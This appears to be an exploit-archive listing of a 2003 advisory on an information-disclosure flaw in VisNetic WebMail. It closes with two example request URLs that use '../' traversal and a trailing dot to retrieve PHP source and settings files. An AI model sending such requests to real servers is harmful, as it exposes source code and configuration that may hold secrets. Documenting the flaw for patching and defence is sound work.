VisNetic WebMail 5.8.6 .6 - Information Disclosure
| EKU-ID: 28297 | CVE: OSVDB-2195 | OSVDB-ID: |
| Author: posidron | Published: 2003-06-23 | Verified:
 |
| Download: | ||
Rating☆☆☆☆☆ |
| EKU-ID: 28297 | CVE: OSVDB-2195 | OSVDB-ID: |
| Author: posidron | Published: 2003-06-23 | Verified:
|
| Download: | ||
Rating☆☆☆☆☆ |
source: https://www.securityfocus.com/bid/8018/info VisNetic WebMail is prone to an information disclosure vulnerability. Reportedly, by appending a dot '.' character to the end of a URI request to WebMail, the source code of PHP files may be returned in the web browser. http://webmailhost:32000/mail/admin/../include.html. http://webmailhost:32000/mail/admin/../settings.html.